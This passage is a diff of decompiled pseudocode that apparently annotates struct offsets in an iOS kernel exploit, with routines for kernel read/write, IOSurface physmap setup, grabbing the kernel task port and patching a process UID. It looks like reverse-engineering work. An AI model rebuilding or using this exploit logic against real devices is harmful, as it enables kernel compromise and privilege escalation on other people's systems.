*(uint64_t *)&krwCtx->gap_0x1E0 = 0;
*(uint64_t *)&krwCtx->gap_0x1E8 = 0;
}
if ( krwCtx->xnuVersionPacked > XNU_VERSION_PACKED(8791, 1023, 1023, 1023, 1023) )
{
v54 = *v93;
if ( !*v93 )
v54 = krwCtx->gap_0x370[693];
v54 = krwCtx->gap_0x1918;
v55 = find_kernel_struct_addr(krwCtx, v54);
if ( v55 )
{
@@ -45272,7 +45272,7 @@ LABEL_211:
}
v60 = *v93;
if ( !*v93 )
v60 = krwCtx->gap_0x370[693];
v60 = krwCtx->gap_0x1918;
if ( (unsigned int)get_task_memory_info(v60, &v104, &v103) )
return 0x28012;
krwCtx->gap_0x19E8 = *(uint64_t *)&v104.st_dev;
@@ -45281,7 +45281,7 @@ LABEL_233:
krwCtx->gap_0x19F0 = v57;
if ( *(uint32_t *)gap_0x1948 == -1 || krwCtx->krw_pipe_1 == -1 || krwCtx->gap_0x1940 == -1 || !krwCtx->gap_0x218 )
goto LABEL_260;
v61 = *(__int64 **)krwCtx->gap_0x220;
v61 = *(__int64 **)&krwCtx->gap_0x220;
if ( krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023) )
{
if ( v61 )
@@ -45319,7 +45319,7 @@ LABEL_255:
}
if ( ++v63 != 7 )
goto LABEL_255;
*(uint64_t *)krwCtx->gap_0x220 = v61;
*(__int64 **)&krwCtx->gap_0x220 = v61;
LABEL_259:
*(uint64_t *)(*(uint64_t *)&krwCtx->gap_0x118 + 256LL) = v61;
LABEL_260:
@@ -45336,7 +45336,7 @@ LABEL_260:
*(__int128 *)(v68 + 112) = xnuVersion.majorVersion;
*(__int128 *)(v68 + 128) = v69;
*(uint64_t *)(v68 + 144) = xnuVersion.qword20;
*(uint32_t *)(v68 + 152) = krwCtx->gap_0x16C[3];
*(uint32_t *)(v68 + 152) = krwCtx->gap_0x178;
*(uint32_t *)(v68 + 56) = krwCtx->pageSizeOrSomething;
if ( (unsigned int)alloc_kernel_offset_table(v68, *(uint64_t *)(v52 + 160)) )
{
@@ -45362,14 +45362,14 @@ LABEL_267:
v79->xnuMajorVersion = xnuVersion.majorVersion;
v79->oword80 = v81;
*(uint64_t *)&v79->oword90 = xnuVersion.qword20;
DWORD2(v79->oword90) = krwCtx->gap_0x16C[3];
DWORD2(v79->oword90) = krwCtx->gap_0x178;
DWORD2(v79->oword30) = krwCtx->pageSizeOrSomething;
if ( v41 > XNU_VERSION_PACKED(8791, 1023, 1023, 1023, 1023) )
{
BYTE1(v79->oword100) = 1;
*((uint64_t *)&v79->owordA0 + 1) = v52;
}
if ( !iosurface_physmap_setup_bool((__int64)v79, krwCtx->gap_0x370[693], v98, v80) )
if ( !iosurface_physmap_setup_bool((__int64)v79, krwCtx->gap_0x1918, v98, v80) )
return 163863;
LODWORD(v79->oword30) = *(uint32_t *)(v52 + 48);
krwCtx->gap_0x1D18_size8 = (uint64_t)v79;
@@ -45385,14 +45385,14 @@ LABEL_267:
v83->xnuMajorVersion = xnuVersion.majorVersion;
v83->oword80 = v84;
v83->qword90 = xnuVersion.qword20;
v83->dword98 = krwCtx->gap_0x16C[3];
v83->dword98 = krwCtx->gap_0x178;
v83->dword38 = krwCtx->pageSizeOrSomething;
if ( v41 > XNU_VERSION_PACKED(8791, 1023, 1023, 1023, 1023) )
{
v83->byte101 = 1;
v83->qwordA8 = v52;
}
if ( !iosurface_physmap_setup_bool((__int64)v83, krwCtx->gap_0x370[693], v100, v80) )
if ( !iosurface_physmap_setup_bool((__int64)v83, krwCtx->gap_0x1918, v100, v80) )
return 163863;
v83->dword30 = *(uint32_t *)(v52 + 48);
krwCtx->gap_0x1D20_kern_addr_allows_security_research = (uint64_t)v83;
@@ -45478,7 +45478,7 @@ LABEL_280:
}
krwCtx->gap_0x1928 = mach_host_self();
v72 = get_kernel_task_host_port(krwCtx);
LODWORD(krwCtx->gap_0x370[694]) = v72;
LODWORD(krwCtx->gap_0x1920) = v72;
mach_port_with_a2 = 163854;
if ( krwCtx->gap_0x1928 + 1 < 2 )
return mach_port_with_a2;
@@ -45490,7 +45490,7 @@ LABEL_280:
if ( krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) )
{
v74 = get_ioservice_conn_port(krwCtx);
HIDWORD(krwCtx->gap_0x370[694]) = v74;
HIDWORD(krwCtx->gap_0x1920) = v74;
if ( (unsigned int)(v74 + 1) < 2 )
return mach_port_with_a2;
goto LABEL_291;
@@ -45505,11 +45505,11 @@ LABEL_293:
LABEL_291:
if ( krwCtx->xnuVersionPacked > XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023) )
{
v73 = krwCtx->gap_0x370[694];
v73 = krwCtx->gap_0x1920;
goto LABEL_293;
}
}
v76 = krwCtx->gap_0x370[694];
v76 = krwCtx->gap_0x1920;
if ( v76 + 1 < 2 )
return 708609;
v104.st_dev = 0;
@@ -45754,7 +45754,7 @@ __int64 __fastcall driver_dispatch_command3(struct_krwCtx *a1, int cmd, __int64
v6 = 708616;
if ( !((unsigned int)cmd >> 30) || (result = 708609, inoutValue) )
{
*(__int128 *)&a1->gap_0x370[681] = 0u;
*(__int128 *)&a1->gap_0x18B8 = 0u;
krw_ctx_clr_flag(a1, 0x800000);
update_timer_lru_cache(a1);
result = refresh_target_task_port(a1, mach_task_self_, 0, 0);
@@ -45879,9 +45879,9 @@ __int64 __fastcall driver_dispatch_command3(struct_krwCtx *a1, int cmd, __int64
goto LABEL_215;
case DRIVER_CMD_SET_THREAD_KOBJ_DISPATCH:
v31 = mach_thread_self();
v32 = HIDWORD(a1->gap_0x370[693]);
v32 = HIDWORD(a1->gap_0x1918);
if ( !v32 )
v32 = a1->gap_0x370[693];
v32 = a1->gap_0x1918;
if ( !kwrite_task_dispatch_via_kobj((__int64)a1, v32, v31) )
goto LABEL_215;
LODWORD(v6) = 0;
@@ -45964,7 +45964,7 @@ LABEL_128:
else
v33 = mach_task_self_;
LABEL_136:
v8[0] = set_task_special_port_and_patch_uid((__int64)a1, v33, a1->gap_0x370[694]);
v8[0] = set_task_special_port_and_patch_uid((__int64)a1, v33, a1->gap_0x1920);
goto LABEL_215;
case DRIVER_CMD_PHYSMAP_KREAD_AND_REFRESH:
if ( !(uint32_t)v3 )
@@ -46111,7 +46111,7 @@ LABEL_188:
*(uint32_t *)(v3 + 24) = 0;
}
LODWORD(v6) = 0;
v8[0] = mach_vm_wire(a1->gap_0x370[694], *(uint32_t *)v3, *(uint64_t *)(v3 + 8), *(uint64_t *)(v3 + 16), v45) == 0;
v8[0] = mach_vm_wire(a1->gap_0x1920, *(uint32_t *)v3, *(uint64_t *)(v3 + 8), *(uint64_t *)(v3 + 16), v45) == 0;
goto LABEL_216;
case DRIVER_CMD_KWRITE_VERSION_CHECK:
v8[0] = kwrite_with_version_check(a1, *(uint32_t *)v3, *(uint64_t *)(v3 + 8), *(unsigned __int8 *)(v3 + 24));